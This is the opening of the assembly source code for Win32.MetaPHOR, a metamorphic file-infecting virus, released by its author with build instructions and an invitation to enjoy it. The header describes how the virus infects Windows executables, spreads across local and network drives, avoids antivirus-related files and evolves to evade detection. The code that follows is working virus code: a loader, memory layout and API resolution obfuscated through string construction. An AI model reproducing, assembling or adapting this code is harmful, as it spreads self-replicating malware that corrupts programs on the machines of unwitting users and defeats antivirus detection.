;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ----------------------                                                    ;;
;; * Win32.MetaPHOR v1B *                                                    ;;
;; ----------------------                                                    ;;
;;                                                                           ;;
;; Metamorphic Permutating High-Obfuscating Reassembler                      ;;
;;                                                                           ;;
;;                                           Coded by The Mental Driller/29A ;;
;;                                                                           ;;
;;                                                                           ;;
;; I proudly present my very first metamorphic virus (in its version 1.1).   ;;
;;                                                                           ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It       ;;
;; doesn't uses the stack to construct strings, executable code or data:     ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with          ;;
;; VirtualAlloc and then use the decryptor to copy the decrypted virus there ;;
;; (or unencrypted, since it has a probability of 1/16 of being unencrypted, ;;
;; so the decryptor in that cases is in fact a copy routine). The reserved   ;;
;; memory is organized in sections (as if it were a PE) where I do all the   ;;
;; operations. VirtualAlloc will be retrieved by the decryptor if it's not   ;;
;; imported by the host, and the host must import GetModuleHandleA/W and     ;;
;; GetProcAddress to be infected. This functions will be used by the virus   ;;
;; to get the needed APIs.                                                   ;;
;;                                                                           ;;
;; The type of metamorphism followed is what I call the "accordion model":   ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion ->     ;;
;; -> reassembly, so the code can be bigger or smaller than the previous     ;;
;; generation.                                                               ;;
;;                                                                           ;;
;; The metamorphism in this virus is complete: even the result of the        ;;
;; shrinking can't be used for detection, because is different in every      ;;
;; generation. That's the point where I introduce a new concept: dimensions  ;;
;; in recoding (I mean, code that only get shrinked on two or more           ;;
;; generations, but not in the immediate following; this would be the        ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing  ;;
;; uncontrolablely.                                                          ;;
;;                                                                           ;;
;; I have added a genetic algorithm in certain parts of the code to make it  ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so   ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P).   ;;
;;                                                                           ;;
;; I tried to comment the code as cleanly as possible, but well... :)        ;;
;;                                                                           ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because:  ;;
;;                                                                           ;;
;; 1) It's more clear to see the code that the internal engine will deal     ;;
;;  with (for example, many times I use SUB ECX,1 instead of DEC ECX,        ;;
;;  although the disassembler can deal with both opcodes).                   ;;
;; 2) What's the point for optimizing the code when in next generation it    ;;
;;  will be completely unoptimized/garbled? :)                               ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger).           ;;
;;                                                                           ;;
;;                                                                           ;;
;;  General sheet of characteristics:                                        ;;
;;                                                                           ;;
;;    Name of the virus.............: MetaPHOR v1.0                          ;;
;;    Author........................: The Mental Driller / 29A               ;;
;;    Size..........................: On 1st generation: 32828 bytes         ;;
;;                                    On next ones: variable, but not less   ;;
;;                                                  than 64 Kb               ;;
;;    Targets.......................: Win32 PE EXEs, supporting three types  ;;
;;                                    of infection: mid-infection (when      ;;
;;                                    .reloc is present), at last section    ;;
;;                                    but using the padding space between    ;;
;;                                    sections to store the decrytor/mover,  ;;
;;                                    or all at last section.                ;;
;;                                    It infects EXEs with a 50% of prob. in ;;
;;                                    current directory and going up the     ;;
;;                                    directory three by three levels. It    ;;
;;                                    also retrieves the drive strings on    ;;
;;                                    the system and makes the same if they  ;;
;;                                    are fixed or network drives.           ;;
;;                                    It uses EPO patching ExitProcess.      ;;
;;    Stealth action................: It doesn't enter in directories that   ;;
;;                                    begin with 'W' (avoiding the windows   ;;
;;                                    directory) and doesn't infect files    ;;
;;                                    with a 'V' in the name or beginning    ;;
;;                                    with the letters 'PA', 'F-', 'SC',     ;;
;;                                    'DR' or 'NO'.                          ;;
;;                                    Genetic algorithm in the selection of  ;;
;;                                    the infection methods, the creation of ;;
;;                                    of the decryptor and some more things  ;;
;;                                    to make it more resistant or more      ;;
;;                                    difficult to detect due to "evolution".;;
;;    Encrypted.....................: Sometimes not.                         ;;
;;    Polymorphic...................: Yes                                    ;;
;;    Metamorphic...................: Yes                                    ;;
;;    Payloads......................: 1) A message box on 17h March, June,   ;;
;;                                      September and December with a        ;;
;;                                      metamorphic message :).              ;;
;;                                    2) On 14h May and on hebrew systems it ;;
;;                                      displays a messagebox with the text: ;;
;;                                      "Free Palestine!"                    ;;
;;    Anti-debugging................: Implicit                               ;;
;;    Release history...............:                                        ;;
;;           v1.0:  11-02-2002 (I just finished commenting the source code   ;;
;;                              and correcting the bugs I found doing that). ;;
;;           v1.1:  14-02-2002                                               ;;
;;                                                                           ;;
;;                                                                           ;;
;; To do in next versions:                                                   ;;
;;                                                                           ;;
;; 1) ELF infection: I only have to add APIs and call one or another         ;;
;;   depending on the operating system, and add the ELF infection algorithm. ;;
;; 2) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;;   have to code a new disassembler/reassembler, since for every internal   ;;
;;   operation I use a self-defined pseudo-assembler with its own opcodes.   ;;
;; 3) Plug-in injector                                                       ;;
;; 4) More things (of course!! :).                                           ;;
;;                                                                           ;;
;;                                                                           ;;
;; My thanks comes to:                                                       ;;
;;   29A, of course.                                                         ;;
;;   Vecna & Z0MBiE for being pioneers in the field of metamorphism. I thank ;;
;;     Vecna his interest by this virus and his suggestions. Of course, I    ;;
;;     never took them in account :P (acaso te dije como tenias que hacer    ;;
;;     el Lexo32, boludin asqueroso??? :P :P :P :P ;D)                       ;;
;;   Eden Kirin, the author of ConTEXT (editor for programmers). It would be ;;
;;     a hell to make a source like this one with EDIT :).                   ;;
;;   The opressed people in the world.                                       ;;
;;                                                                           ;;
;;                                                                           ;;
;; Also big thanks to Trent Reznor and NIN by their music, which inspired    ;;
;;  me greatly while coding this, specially the Halo 14 (commonly known as   ;;
;;  "The Fragile"). From the lyrics of "Somewhat damaged", a quote that      ;;
;;  resumes quite well the feeling of this code:                             ;;
;;                                                                           ;;
;;  "how could I ever think it's funny how                                   ;;
;;   everything that swore it wouldn't change is different now..."           ;;
;;                                                                           ;;
;; Well, in the song it doesn't have that meaning, but it does when you      ;;
;;  quote it alone heading this code :).                                     ;;
;;                                                                           ;;
;; And a big "FUCK YOU" to fascists, whatever the flag or religion they use  ;;
;; to hide themselves behind, the country they live/represent and the moral  ;;
;; reasons they say to justify their actions (for both attack and revenge):  ;;
;; all them have the same inferior mind that makes them to think like        ;;
;; animals.                                                                  ;;
;;                                                                           ;;
;;                                                                           ;;
;; OK, so here's the proggy. Enjoy it as much as I enjoyed doing it.         ;;
;;                                                                           ;;
;; To assemble:                                                              ;;
;;    TASM32 /m29A /ml MetaPHOR.asm                                          ;;
;;    TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib                        ;;
;;                                                                           ;;
;;    No need of making PEWRSEC!                                             ;;
;;                                                                           ;;
;;                                                                           ;;
;; Quick reference (keyword search):                                         ;;
;;                                                                           ;;
;;    Variable declaration........................: Key_!VarDeclr            ;;
;;    Beginning of virus..........................: Key_!VirusStart          ;;
;;    Disassembler................................: Key_!Disassembler        ;;
;;    Shrinker....................................: Key_!Shrinker            ;;
;;    Variable identificator......................: Key_!VarIdent            ;;
;;    Permutator..................................: Key_!Permutator          ;;
;;    Expander....................................: Key_!Xpander             ;;
;;    Reassembler.................................: Key_!Assembler           ;;
;;    Infection code..............................: Key_!Infector            ;;
;;    Decryptor maker.............................: Key_!MakePoly            ;;
;;                                                                           ;;
;;                                                                           ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals

.code
                ret   ; All code in DATA section. TASM allow this and we
.data                 ; don't need to activate the write flag after assembling
                      ; the code.

AddressToFree   dd      0

extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC        ; First generation imports


;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain         proc
                push    4
                push    1000h
                push    340000h     ; Reserve 340000h bytes (~ 3.4Mb)
                push    0
                call    VirtualAlloc
                or      eax, eax
                jz    @@Error
                mov     ebp, eax    ; Set delta of reserved memory

                mov     [AddressToFree], eax
                mov     ebx, eax
                mov     esi, offset Main
                mov     edi, eax
                mov     ecx, offset EndOfCode
                sub     ecx, offset Main
                rep     movsb         ; Copy virus

                push    __DISASM2_SECTION
                push    __DATA_SECTION
                push    __BUFFERS_SECTION
                push    __DISASM_SECTION
                push    __CODE_SECTION     ; Push section addresses
                mov     eax, offset GetProcAddress
                mov     eax, [eax+2]
                push    eax              ; Push needed APIs
                mov     eax, offset GetModuleHandleA
                mov     eax, [eax+2]
                push    eax
                push    5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
                call    ebx             ; Call MetaPHOR!

                push    0C000h
                push    0
                push    dword ptr [AddressToFree]
                call    VirtualFree    ; This isn't needed at all, since where
                              ; our process is destroyed all the virtual memory
                              ; allocated by it is deallocated automatically.
      @@Error:
                push    0
                call    ExitProcess
PreMain         endp

;; Now we are executing in the reserved memory

;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.

;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;;     * (Number of register used for Delta SHL 1) AND (A/W flag for
;;          GetModuleHandleA/W)
;;;     * Address to GetModuleHandle in import table
;;;     * Address to GetProcAddress in import table
;;;     * Offset of CODE_SECTION
;;;     * Offset of DISASM_SECTION
;;;     * Offset of BUFFERS_SECTION
;;;     * Offset of DATA_SECTION
;;;     * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.

;;
;;

;; KEYWORD: Key_!VarDeclr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;************************************************************************;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Memory addresses. The variables are internal offsets into the data section,
;; so they are coded in this way. As you can see, all them are EQUs.
;;
;; There are also some equates to make easier the programming, although all
;; the values here are only valid on first generation, due to the fact that
;; they'll recalculated and randomized.
;;
__CODE_SECTION          EQU     000000h
__DISASM_SECTION        EQU     100000h
__BUFFERS_SECTION       EQU     080000h
__LABEL_SECTION         EQU     __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION      EQU     __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION       EQU     __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION       EQU     __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION     EQU     __BUFFERS_SECTION + 40000h
__DATA_SECTION          EQU     0E0000h
__DISASM2_SECTION       EQU     200000h

NumberOfLabels          EQU     __DATA_SECTION + 0000h
NumberOfInstructions    EQU     __DATA_SECTION + 0008h
InstructionTable        EQU     __DATA_SECTION + 0010h
LabelTable              EQU     __DATA_SECTION + 0018h
FutureLabelTable        EQU     __DATA_SECTION + 0020h
PathMarksTable          EQU     __DATA_SECTION + 0028h
NumberOfLabelsPost      EQU     __DATA_SECTION + 0030h
AddressOfLastInstruction EQU    __DATA_SECTION + 0038h
VariableTable           EQU     __DATA_SECTION + 0040h
NumberOfVariables       EQU     __DATA_SECTION + 0048h
FramesTable             EQU     __DATA_SECTION + 0050h
PermutationResult       EQU     __DATA_SECTION + 0058h
JumpsTable              EQU     __DATA_SECTION + 0060h
AddressOfLastFrame      EQU     __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU  __DATA_SECTION + 0070h
MODValue                EQU     __DATA_SECTION + 0078h
NumberOfJumps           EQU     __DATA_SECTION + 0080h
RndSeed1                EQU     __DATA_SECTION + 0088h
RndSeed2                EQU     __DATA_SECTION + 0090h
ExpansionResult         EQU     __DATA_SECTION + 0098h
Register8Bits           EQU     __DATA_SECTION + 00A0h
Xp_Register0            EQU     __DATA_SECTION + 00A8h
Xp_Register1            EQU     __DATA_SECTION + 00B0h
Xp_Register2            EQU     __DATA_SECTION + 00B8h
Xp_Register3            EQU     __DATA_SECTION + 00C0h
Xp_Register4            EQU     __DATA_SECTION + 00C8h
Xp_Register5            EQU     __DATA_SECTION + 00D0h
Xp_Register6            EQU     __DATA_SECTION + 00D8h
Xp_Register7            EQU     __DATA_SECTION + 00E0h
DeltaRegister           EQU     __DATA_SECTION + 00E8h
Xp_8Bits                EQU     __DATA_SECTION + 00F0h
Xp_Operation            EQU     __DATA_SECTION + 00F8h
Xp_Register             EQU     __DATA_SECTION + 0100h
Xp_Mem_Index1           EQU     __DATA_SECTION + 0108h
Xp_Mem_Index2           EQU     __DATA_SECTION + 0110h
Xp_Mem_Addition         EQU     __DATA_SECTION + 0118h
Xp_Immediate            EQU     __DATA_SECTION + 0120h
Xp_SrcRegister          EQU     __DATA_SECTION + 0128h
Xp_FlagRegOrMem         EQU     __DATA_SECTION + 0130h
Xp_RecurseLevel         EQU     __DATA_SECTION + 0138h
Xp_LEAAdditionFlag      EQU     __DATA_SECTION + 0140h
VarMarksTable           EQU     __DATA_SECTION + 0148h
_BUFFERS_SECTION        EQU     __DATA_SECTION + 0150h
_CODE_SECTION           EQU     __DATA_SECTION + 0158h
_DISASM_SECTION         EQU     __DATA_SECTION + 0160h
_LABEL_SECTION          EQU     __DATA_SECTION + 0168h
_VARIABLE_SECTION       EQU     __DATA_SECTION + 0170h
_BUFFER1_SECTION        EQU     __DATA_SECTION + 0178h
_BUFFER2_SECTION        EQU     __DATA_SECTION + 0180h
_VAR_MARKS_SECTION      EQU     __DATA_SECTION + 0188h
_DATA_SECTION           EQU     __DATA_SECTION + 0190h
_DISASM2_SECTION        EQU     __DATA_SECTION + 0198h
New_CODE_SECTION        EQU     __DATA_SECTION + 01A0h
New_DISASM_SECTION      EQU     __DATA_SECTION + 01A8h
New_BUFFERS_SECTION     EQU     __DATA_SECTION + 01B0h
; New_LABEL_SECTION       EQU     __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION    EQU     __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION     EQU     __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION     EQU     __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION   EQU     __DATA_SECTION + 01D0h
New_DATA_SECTION        EQU     __DATA_SECTION + 01D8h
New_DISASM2_SECTION     EQU     __DATA_SECTION + 01E0h
RVA_GetModuleHandle     EQU     __DATA_SECTION + 01E8h
RVA_GetProcAddress      EQU     __DATA_SECTION + 01F0h
FlagAorW                EQU     __DATA_SECTION + 01F8h
ReturnValue             EQU     __DATA_SECTION + 0200h
hKernel                 EQU     __DATA_SECTION + 0208h
hUser32                 EQU     __DATA_SECTION + 0210h
RVA_CreateFileA         EQU     __DATA_SECTION + 0218h
RVA_CreateFileMappingA  EQU     __DATA_SECTION + 0220h
RVA_MapViewOfFile       EQU     __DATA_SECTION + 0228h
RVA_UnmapViewOfFile     EQU     __DATA_SECTION + 0230h
RVA_GetFileSize         EQU     __DATA_SECTION + 0238h
RVA_GetFileAttributesA  EQU     __DATA_SECTION + 0240h
RVA_SetFileAttributesA  EQU     __DATA_SECTION + 0248h
RVA_SetFilePointer      EQU     __DATA_SECTION + 0250h
RVA_SetFileTime         EQU     __DATA_SECTION + 0258h
RVA_SetEndOfFile        EQU     __DATA_SECTION + 0260h
RVA_FindFirstFileA      EQU     __DATA_SECTION + 0268h
RVA_FindNextFileA       EQU     __DATA_SECTION + 0270h
RVA_FindClose           EQU     __DATA_SECTION + 0278h
RVA_CloseHandle         EQU     __DATA_SECTION + 0280h
RVA_MessageBoxA         EQU     __DATA_SECTION + 0288h
NewLabelTable           EQU     __DATA_SECTION + 0290h
Asm_ByteToSort          EQU     __DATA_SECTION + 0298h
JumpRelocationTable     EQU     __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU     __DATA_SECTION + 02A8h
Permut_LastInstruction  EQU     __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU     __DATA_SECTION + 02B8h
hFile                   EQU     __DATA_SECTION + 02C0h
FileSize                EQU     __DATA_SECTION + 02C8h
OriginalFileSize        EQU     __DATA_SECTION + 02D0h
hMapping                EQU     __DATA_SECTION + 02D8h
MappingAddress          EQU     __DATA_SECTION + 02E0h
HeaderAddress           EQU     __DATA_SECTION + 02E8h
StartOfSectionHeaders   EQU     __DATA_SECTION + 02F0h
RelocHeader             EQU     __DATA_SECTION + 02F8h
TextHeader              EQU     __DATA_SECTION + 0300h
DataHeader              EQU     __DATA_SECTION + 0308h
RVA_TextHole            EQU     __DATA_SECTION + 0310h
Phys_TextHole           EQU     __DATA_SECTION + 0318h
TextHoleSize            EQU     __DATA_SECTION + 0320h
RVA_DataHole            EQU     __DATA_SECTION + 0328h
Phys_DataHole           EQU     __DATA_SECTION + 0330h
MakingFirstHole         EQU     __DATA_SECTION + 0338h
ExitProcessAddress      EQU     __DATA_SECTION + 0340h
GetModuleHandleAddress  EQU     __DATA_SECTION + 0348h
GetProcAddressAddress   EQU     __DATA_SECTION + 0350h
VirtualAllocAddress     EQU     __DATA_SECTION + 0358h
GetModuleHandleMode     EQU     __DATA_SECTION + 0360h
VirtualPositionOfVar    EQU     __DATA_SECTION + 0368h
PhysicalPositionOfVar   EQU     __DATA_SECTION + 0370h
Kernel32Imports         EQU     __DATA_SECTION + 0378h
hFindFile               EQU     __DATA_SECTION + 0380h
Addr_FilePath           EQU     __DATA_SECTION + 0388h
FileAttributes          EQU     __DATA_SECTION + 0390h
SizeOfNewCode           EQU     __DATA_SECTION + 0398h
FindFileData            EQU     __DATA_SECTION + 03A0h
OtherBuffers            EQU     __DATA_SECTION + 03A8h
RoundedSizeOfNewCode    EQU     __DATA_SECTION + 03B0h
NewAssembledCode        EQU     __DATA_SECTION + 03B8h
NumberOfUndoActions     EQU     __DATA_SECTION + 03C0h
LastHeader              EQU     __DATA_SECTION + 03C8h
MaxSizeOfDecryptor      EQU     __DATA_SECTION + 03D0h
CreatingADecryptor      EQU     __DATA_SECTION + 03D8h
DecryptorPseudoCode     EQU     __DATA_SECTION + 03E0h
AssembledDecryptor      EQU     __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION  EQU     __DATA_SECTION + 03F0h
SizeOfExpansion         EQU     __DATA_SECTION + 03F8h
SizeOfDecryptor         EQU     __DATA_SECTION + 0400h
TypeOfEncryption        EQU     __DATA_SECTION + 0408h
EncryptionKey           EQU     __DATA_SECTION + 0410h
IndexValue              EQU     __DATA_SECTION + 0418h
IndexRegister           EQU     __DATA_SECTION + 0420h
BufferRegister          EQU     __DATA_SECTION + 0428h
CounterRegister         EQU     __DATA_SECTION + 0430h
BufferValue             EQU     __DATA_SECTION + 0438h
CounterValue            EQU     __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU    __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU   __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU    __DATA_SECTION + 0458h
AdditionToBuffer        EQU     __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register          EQU     __DATA_SECTION + 0470h
Poly_LoopLabel          EQU     __DATA_SECTION + 0478h
RVA_GetSystemTime       EQU     __DATA_SECTION + 0480h
RVA_GetTickCount        EQU     __DATA_SECTION + 0488h
RVA_GetDriveTypeA       EQU     __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU    __DATA_SECTION + 04A0h
StartOfEncryptedData    EQU     __DATA_SECTION + 04A8h
SizeOfNewCodeP2         EQU     __DATA_SECTION + 04B0h
Poly_InitialValue       EQU     __DATA_SECTION + 04B8h
Poly_Addition           EQU     __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU  __DATA_SECTION + 04C8h
DirectoryDeepness       EQU     __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU    __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU    __DATA_SECTION + 04E0h
Weight_X000_3           EQU     __DATA_SECTION + 04E8h
Weight_X004_7           EQU     __DATA_SECTION + 04F0h
Weight_X008_11          EQU     __DATA_SECTION + 04F8h
Weight_X012_15          EQU     __DATA_SECTION + 0500h
Weight_X016_19          EQU     __DATA_SECTION + 0508h
Weight_X020_23          EQU     __DATA_SECTION + 0510h

;;
;;
;; End of variables
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!VirusStart

Main            proc
                ; EBP = Delta offset
                pop     ebx     ; Return address

                pop     eax
                mov     ecx, eax
                and     eax, 1
                mov     [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
                and     ecx, 0FFFFFFFEh
                shr     ecx, 1
                mov     [ebp+DeltaRegister], ecx ; Get the delta register nr.

                pop     eax
                mov     eax, [eax]
                mov     [ebp+RVA_GetModuleHandle], eax
                pop     eax
                mov     eax, [eax]
                mov     [ebp+RVA_GetProcAddress], eax
                pop     eax
                and     eax, 03FFFFFh         ; Eliminate the two highest bits
                mov     [ebp+_CODE_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh         ; "
                mov     [ebp+_DISASM_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh         ; "
                mov     [ebp+_BUFFERS_SECTION], eax

                mov     [ebp+_LABEL_SECTION], eax  ; Construct the other
                add     eax, 10000h                ; section addresses
                mov     [ebp+_VARIABLE_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_BUFFER1_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_BUFFER2_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_VAR_MARKS_SECTION], eax

                pop     eax
                and     eax, 03FFFFFh
                mov     [ebp+_DATA_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh
                mov     [ebp+_DISASM2_SECTION], eax
                push    ebx ; Restore return value


;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;;        SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;;        SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
                push    eax
                mov     eax, 0
                mov     ecx, 10808080h   ; Weights 3,2,1 and 0
                mov     [ebp+Weight_X000_3], ecx
                pop     eax


                push    eax
                mov     eax, 1
                mov     ecx, 10808010h   ; Weights 7,6,5,4
                mov     [ebp+Weight_X004_7], ecx
                pop     eax

                push    eax
                mov     eax, 2
                mov     ecx, 80808055h   ; Weights 11,10,9,8
                mov     [ebp+Weight_X008_11], ecx
                pop     eax

                push    eax
                mov     eax, 3
                mov     ecx, 80408080h   ; Weights 15,14,13,12
                mov     [ebp+Weight_X012_15], ecx
                pop     eax

                push    eax
                mov     eax, 4
                mov     ecx, 55404040h   ; Weights 19,18,17,16
                mov     [ebp+Weight_X016_19], ecx
                pop     eax

                push    eax
                mov     eax, 5
                mov     ecx, 0F0808080h   ; Weights 23,22,21,20
                mov     [ebp+Weight_X020_23], ecx
                pop     eax

;; Let's get the addresses of the APIs that we are going to use:
                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, 'nrek'
                mov     [edx], eax
                mov     eax, '23le'
                mov     [edx+4], eax
                mov     eax, 'lld.'
                mov     [edx+8], eax
                xor     eax, eax
                mov     [edx+0Ch], eax  ; Get the address of KERNEL32.DLL
                call    APICall_GetModuleHandle
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax        ; Get the handle. If 0, we exit
                jz    @@Error
                mov     [ebp+hKernel], eax

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, 'resu'
                mov     [edx], eax
                mov     eax, 'd.23'
                mov     [edx+4], eax
                mov     eax, 'll'
                mov     [edx+8], eax  ; Get the address of USER32.DLL
                call    APICall_GetModuleHandle
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue] ; It doesn't matter if we
                mov     [ebp+hUser32], eax     ; failed: it's used only to
                                               ; get MessageBoxA for the
                                               ; payload

                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp
                mov     edi, [ebp+hKernel]  ; Place to construct the addresses
                                            ; names

                mov     eax, 'aerC'
                mov     [edx], eax
                mov     eax, 'iFet'
                mov     [edx+4], eax
                mov     eax, 'Ael'
                mov     [edx+8], eax
                call    GetFunction   ; Get CreateFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CreateFileA], eax

                mov     eax, 'ppaM'
                mov     [edx+0Ah], eax
                mov     eax, 'Agni'
                mov     [edx+0Eh], eax
                xor     eax, eax
                mov     [edx+12h], eax
                call    GetFunction   ; Get CreateFileMappingA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CreateFileMappingA], eax

                add     edx, 2
                mov     eax, 'VpaM'
                mov     [edx], eax
                mov     eax, 'Owei'
                mov     [edx+4], eax
                mov     eax, 'liFf'
                mov     [edx+8], eax
                mov     eax, 'e'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get MapViewOfFile
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_MapViewOfFile], eax

                sub     edx, 2
                mov     eax, 'amnU'
                mov     [edx], eax
                call    GetFunction   ; Get UnmapViewOfFile
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_UnmapViewOfFile], eax

                mov     eax, 'SteG'
                mov     [edx], eax
                mov     eax, 'etsy'
                mov     [edx+4], eax
                mov     eax, 'miTm'
                mov     [edx+8], eax
                mov     eax, 'e'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get GetSystemTime
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetSystemTime], eax

                mov     eax, 'virD'
                mov     [edx+3], eax
                mov     eax, 'pyTe'
                mov     [edx+7], eax
                mov     eax, 'Ae'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get GetDriveTypeA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetDriveTypeA], eax

                mov     eax, 'igoL'
                mov     [edx+3], eax
                mov     eax, 'Dlac'
                mov     [edx+7], eax
                mov     eax, 'evir'
                mov     [edx+0Bh], eax
                mov     eax, 'irtS'
                mov     [edx+0Fh], eax
                mov     eax, 'Asgn'
                mov     [edx+13h], eax
                xor     eax, eax
                mov     [edx+17h], eax
                call    GetFunction   ; Get GetLogicalDriveStringsA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetLogicalDriveStringsA], eax

                mov     eax, 'tsyS'
                mov     [edx+3], eax
                mov     eax, 'eDme'
                mov     [edx+7], eax
                mov     eax, 'luaf'
                mov     [edx+0Bh], eax
                mov     eax, 'ICLt'
                mov     [edx+0Fh], eax
                mov     eax, 'D'
                mov     [edx+13h], eax
                call    GetFunction   ; Get GetSystemDefaultLCID
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetSystemDefaultLCID], eax

                mov     eax, 'CteS'
                mov     [edx], eax
                mov     eax, 'erru'
                mov     [edx+4], eax
                mov     eax, 'iDtn'
                mov     [edx+8], eax
                mov     eax, 'tcer'
                mov     [edx+0Ch], eax
                mov     eax, 'Ayro'
                mov     [edx+10h], eax
                xor     eax, eax
                mov     [edx+14h], eax
                call    GetFunction   ; Get SetCurrentDirectoryA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetCurrentDirectoryA], eax

                mov     eax, 'FteG'
                mov     [edx], eax
                mov     eax, 'Seli'
                mov     [edx+4], eax
                mov     eax, 'ezi'
                mov     [edx+8], eax
                call    GetFunction   ; Get GetFileSize
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetFileSize], eax

                mov     eax, 'rttA'
                mov     [edx+7], eax
                mov     eax, 'tubi'
                mov     [edx+0Bh], eax
                mov     eax, 'Ase'
                mov     [edx+0Fh], eax
                call    GetFunction   ; Get GetFileAttributesA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetFileAttributesA], eax

                mov     eax, 'FteS'
                mov     [edx], eax
                call    GetFunction   ; Get SetFileAttributesA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFileAttributesA], eax

                mov     eax, 'nioP'
                mov     [edx+7], eax
                mov     eax, 'ret'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetFilePointer
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFilePointer], eax

                mov     eax, 'emiT'
                mov     [edx+7], eax
                xor     eax, eax
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetFileTime
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFileTime], eax

                mov     eax, 'OdnE'
                mov     [edx+3], eax
                mov     eax, 'liFf'
                mov     [edx+7], eax
                mov     eax, 'e'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetEndOfFile
                or      eax, eax
                jz    @@Error
